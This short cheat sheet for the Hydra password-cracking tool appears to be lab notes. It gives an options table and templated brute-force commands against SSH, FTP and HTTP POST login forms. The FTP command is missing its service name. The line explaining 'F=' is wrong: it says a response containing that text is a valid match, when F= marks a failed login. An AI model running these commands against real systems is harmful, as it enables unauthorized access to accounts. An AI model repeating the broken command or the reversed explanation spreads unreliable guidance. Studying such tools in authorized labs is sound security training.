Options

Option	Description
-l	single username
-L	username file
-p	single password
-P	password file
-t	sets the number of threads to spawn
-V	Verbose output

SSH Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP] ssh

FTP Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP]

HTTP POST Form Bruteforce

hydra -l [username] -P [password_file] [MACHINE_IP] http-post-form "/:username=^USER^&password=^PASS^:F=[message_to_check_against]" -V
F= whatever is present here will be checked. If the response contains this, it's considered a valid match.